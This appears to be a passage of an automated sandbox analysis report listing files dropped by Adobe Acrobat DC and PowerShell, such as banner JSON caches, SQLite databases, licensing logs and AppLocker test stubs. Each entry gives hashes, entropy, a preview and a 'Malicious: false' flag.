SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJf8dPeUkwRe9:YvXKXHqxsdTeOynGU8Ukee9
MD5:	07F8A3932EC6B2838612EBD1D85FA386
SHA1:	600EF1D01B4EBD6EB81C08C41DF58CEC7FED04ED
SHA-256:	BB2286E1CD8D45729C48297219F599BB6084C776BF96B2903FE0B921AB52169B
SHA-512:	82F21339610B8E6C096FB93C145ED576E4EB4D20E36A6BE3EF12D73D29A4C148E2C4EEC3B039BE97C45BFA6E34D2FC2595F08C29B0BB0E56EBF5BB66285586B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.321632139184766
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJfQ1rPeUkwRe9:YvXKXHqxsdTeOynGY16Ukee9
MD5:	AF4158C302EC66DC43588B352990F970
SHA1:	64E1B391FF421D38BF8165BB463058B4CFD3BB75
SHA-256:	66105CF0FAA00B4A5306E0601984E20D96E0CA78246F3CD388D9D7070CFD0E4E
SHA-512:	2E0BC8AE129D55F27F282B77AE7AC28DDE70B2CBED4230C5652E5F7A2D9AC8E8BF857320112519D5199E2EEFA7C5B8259983A4BF5BF8A787205DCC25EB798312
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3376382932507465
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJfFldPeUkwRe9:YvXKXHqxsdTeOynGz8Ukee9
MD5:	C63CB65DC27196AC695FC3FAE9A885FF
SHA1:	8D872CF0B406087F38C0FC201715A1A836D9DF4C
SHA-256:	3F1BE277BB80CDE3F9351386CF65596D1974EA628482F6FC672B4984A0902DCC
SHA-512:	9C01781765660BD6A7DE9EC2D5D57F70C33C571B46E814F4FB7BFBEE512CB1277406685FF8247902E6943827A701C2BF705DFC1F104164CC4C61D26B93697098
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.343242556471767
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJfzdPeUkwRe9:YvXKXHqxsdTeOynGb8Ukee9
MD5:	082E03A8C7705DA28F971D06EA8EE8EA
SHA1:	6D906332C8023BB0FB5833DB654C4BA11F6A0BF6
SHA-256:	29839D0169BFBA9913B6EC9F1F631D3AEAF4FDA946455954898C4BD5D11F17CD
SHA-512:	DF8C8F553381EBC38E5DFFF22F7372B0118BF5EF2B3D7B526ACEBF573E9ACD28ECE5B34775426DE6051FBE00B3F50FC40C4D35A6233383713E342151F333F92F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.324088237618705
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJfYdPeUkwRe9:YvXKXHqxsdTeOynGg8Ukee9
MD5:	7078476F00ED751D452D1EBBA218C435
SHA1:	104233867886BB2DC20B590D17188529960CFD51
SHA-256:	9A615BAD7730B3C2AFE0E0C79BFB1DCA11D05B9BEA76A53FA64425A658BBDADA
SHA-512:	1DD1FE162B54C81508F071094244A80062F5E012D3DF79081032DFD78E47521AB1F48A7BCA28CE90B4D8729E68D33F55C6699D90A3956D9FA35BE2D352A91D2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.31086169005969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJf+dPeUkwRe9:YvXKXHqxsdTeOynG28Ukee9
MD5:	9E326455F877609652F5FA2D0D2594D4
SHA1:	A0444578CE3879F371ABF75EFE0F1F1571D9E700
SHA-256:	9F2F88F6FD55EBF1356108A4735D4D29439540F5919DBCB58F6EDFB3875BFEDA
SHA-512:	9C6B21B6B3A898C19CCAC5483CC1D022A88E8A1961D74956FC89AA473B6193708E46B8C006034FBE1DC8FA433A6B6BAFE5648CC3C5E82BF18E76895A9123A7BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.307469780394846
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJfbPtdPeUkwRe9:YvXKXHqxsdTeOynGDV8Ukee9
MD5:	3BAA12DF652A591DDB2B98BBB400BCF8
SHA1:	A950E457026E23136BD5D2BA93700CB14EDA3D8E
SHA-256:	6CEBF459F520B17DED2863CBE8CDCF41C50E6F0C118DF84B8CB11FFF010DE272
SHA-512:	BFAA7B968F49C0290817E3E0069D30856B0EEFFA7D52A53B19A947F451F83E3CB9C24BF22D42DA7C061AE6D471123A9499878F276C79C383A63F00F8C613165D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.312140269600758
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJf21rPeUkwRe9:YvXKXHqxsdTeOynG+16Ukee9
MD5:	267FED98FAAF0CEE5B4DA748F5F868CD
SHA1:	F71ECA83DB008A9F8406A0D41EADD55AEEAB5A8B
SHA-256:	1799E1AB6221E9192907EFFB2470C6BAE1B5A0D21613606BC1DAFC60F442FB15
SHA-512:	8CF61554C94E0CF73016EA5136178A5AE0822998787960554A6ACB8B9E26DD33A3DAFE3D6C19AE85072692C9FF426C6436ABD166E36D309E8293BF7177360C03
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666169379197955
Encrypted:	false
SSDEEP:	24:Yv6XomeOyYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSA:YvqeBeBgkDMUJUAh8cvMA
MD5:	EE1471E4E07459E6E6FDBC36295F17E3
SHA1:	0A32D414EA34D1B496040CF82756CB80D3B05AE6
SHA-256:	9D8FC7DA290FCF2E855F65230EE7D755606F0E82F811FADCEC7CB77B5F4333C1
SHA-512:	4182393470905A823740531872A4386DFE34B14A4B3D9549E303A95EDBDDC3FA9EEECCE6B7799819D30A08DBB3CCD479D1E0BE5D2D2553103E7BC7C7A9AEB614
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2891965212111005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJfshHHrPeUkwRe9:YvXKXHqxsdTeOynGUUUkee9
MD5:	51247ED27CE1E44357CEC7B2F04B7BF1
SHA1:	9DC957C4CCF7FBD802522A43DC101D81C999B869
SHA-256:	765CD90A83DCC94565FDFBAEA8EF28C8ECC599161887BF8210FC6E5F16498273
SHA-512:	FD603918E16D5DC2731D7091C145536338E9804E63C40C02AF7C911A2F5F6B6146B331F621B27E66C7EEDEC0C6DD005454FB531DA622E4F57033A307FAC682C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.303385036449386
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJTqgFCrPeUkwRe9:YvXKXHqxsdTeOynGTq16Ukee9
MD5:	7A069D933CCB7250E84B207FED270724
SHA1:	1C3379A80F6DBE2C7F73577AB4E216261C990E02
SHA-256:	ABCD8EF13627C09B19C952E3173399C17AEC74EE35E62740C9BE5E42F49BE933
SHA-512:	60F4137321F7F95CD37734E1CCA8704D997EBBD43140BC62C74295BB7BEF1A4CD2F8048438A1DBB2DE547D362786D82C0E30CD7707930BC217CB31693013AD0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140729633212111
Encrypted:	false
SSDEEP:	24:Y78Dq1lGa6fMaya3GEQRgSJOYuF6PlllC2B2LSQ6zGPj47Yj0SQfsgZRC3iGd5ph:Y4DqS4tXshAq47aE8iGvpBFoP96
MD5:	5505CF32E8472DB92B63F33D77DE61BA
SHA1:	6BD5FC41DD210FECAC9017B968BE5C0F8A500141
SHA-256:	8FBEB4C1E9D8E263783F32A7FE081BAF857699140B73771F1B6F0470D86D9697
SHA-512:	1B648D1EC563581FE617D97175C524E437A2F8290F4D1847622E38E9F0B764206848FB5E93910633C05429D3E9F05E59B02F85DD448CD75DBA9C064447551E67
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"eca4f8b2823da517367695c5676c3305","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736580629000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7f7056cf904378d74813e8d0b852e1b0","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736580629000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"89ab5fd963a04cca9d549b0bbc9815b3","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736580629000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7da2f2ab4e3be79442e838978fd2e802","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736580629000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f5c253da718560b520eac7b4536d4d26","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736580629000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2d802a0931767a49a5c8912164cfe20a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4514649738527634
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dseflYD:lNVmsw3SHtbDbPe0K3+fDZdQ
MD5:	E5E9652D94AA24939DEB1B4C52752370
SHA1:	5DCE53F2F87AE2C4CC6B5228AA2825EA0EEF3552
SHA-256:	3537F78FCD125BEF4A8FF085992C2FD11543471A35DC8CEE3B703E4303458B25
SHA-512:	7109C9D83D73C69A2A21DC4B674FBC1E1ECBCEFEB35A69C9A97EC8CD18D5CB01C1306E1803338A1170B4C5E18DA73931204E0314F297AF21BBC457A9DC4937D5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9560050139719456
Encrypted:	false
SSDEEP:	48:7MErvrBd6dHtbGIbPe0K3+fDy2dseWFqFl2GL7msG:7x3SHtbDbPe0K3+fDZdQKVmsG
MD5:	402C5E75DFB142B4B696C3C42D18AD58
SHA1:	86776254CD8F7153738F5BA6F12977E1ACD59820
SHA-256:	E0D91D8AB09959467DEA77CE92AED267521E0A7457F283A9118F1052F532EF97
SHA-512:	A0B9B3A038B678AAFC05BBE1BD5ECDC0907785626D7A8502912FA5EEF0D36548468CC717788D39B7EF4F3F4C8A1E1D2CE8B4AD65C904B7536F9B13580C92809D
Malicious:	false
Preview:	.... .c.......!A......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEghmHpfu4P4YUaFBqTEZm1xPlYyu:6a6TZ44ADEhmHpG4PAayRlK
MD5:	413A05978B0F0C2972A72EFD9EBDBCBC
SHA1:	546DD24925F70966EF97B23A0E730F59496EF2C4
SHA-256:	0109669E9E6D4D931326DA1B49E2A504DE6DCD5E391B4902C2DAD26254A9E485
SHA-512:	D166DDDDCD6C50731859D80404E2B603B0853402CB524A7DD4A958C64E95FE5B645DD921D7B3C4E54273239C6FB4F75B95BFC2593385E6ECCF49A57C70F62208
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI979e0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClGlP9:Qw946cPbiOxDlbYnuRKdZ3
MD5:	D76F06976AF21AACE3701351B526059F
SHA1:	88A78F361CA366BA29953B5F275C2D6D72B73CED
SHA-256:	D670205128C944B6AB9572D2602C3B8D40067FDAC05B9657B6064066A16F4D4D
SHA-512:	B4BF41A68FD94B719E47E522142CA31E4B6ADFADB728BFB641ADB75A5D32E9838F4A946418B19D10B1443521372BE6A3D7725D2D9816139916A54931CEA1ECF3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.3.0.:.2.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2zxrjpmt.top.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iuptrqol.tr2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-30-23-172.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.348979307962407
Encrypted:	false
SSDEEP:	384:4DKhKIKpK/Ks7bklX1Umz0IUpLlL62hw/B8AXngr/FplC3jVoVN7NZCtCLeugudY:E+lOOJKH
MD5:	D90DF85827DC1E44C0780F09621872E0
SHA1:	72DD7377167FCCC0110AB252D51B163006872646
SHA-256:	8DDA2FBBA3374784926B720AE268830FB62606FCC873EEA9C398002B7C7467BF
SHA-512:	6751678478A1BA534F9B5AADB15FFA06B87CFCFADFA118CDD7BA8286C50E167C0C12AFFD6CDF48E5FB18D91C14ACAD4A046307192D3C4DE3CAFD8AE0F9192F22
Malicious:	false
Preview:	SessionID=744576b2-0370-4ec5-a190-ff6dae5e7494.1736580623195 Timestamp=2025-01-11T02:30:23:195-0500 ThreadID=8048 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=744576b2-0370-4ec5-a190-ff6dae5e7494.1736580623195 Timestamp=2025-01-11T02:30:23:196-0500 ThreadID=8048 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=744576b2-0370-4ec5-a190-ff6dae5e7494.1736580623195 Timestamp=2025-01-11T02:30:23:196-0500 ThreadID=8048 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=744576b2-0370-4ec5-a190-ff6dae5e7494.1736580623195 Timestamp=2025-01-11T02:30:23:196-0500 ThreadID=8048 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=744576b2-0370-4ec5-a190-ff6dae5e7494.1736580623195 Timestamp=2025-01-11T02:30:23:196-0500 ThreadID=8048 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
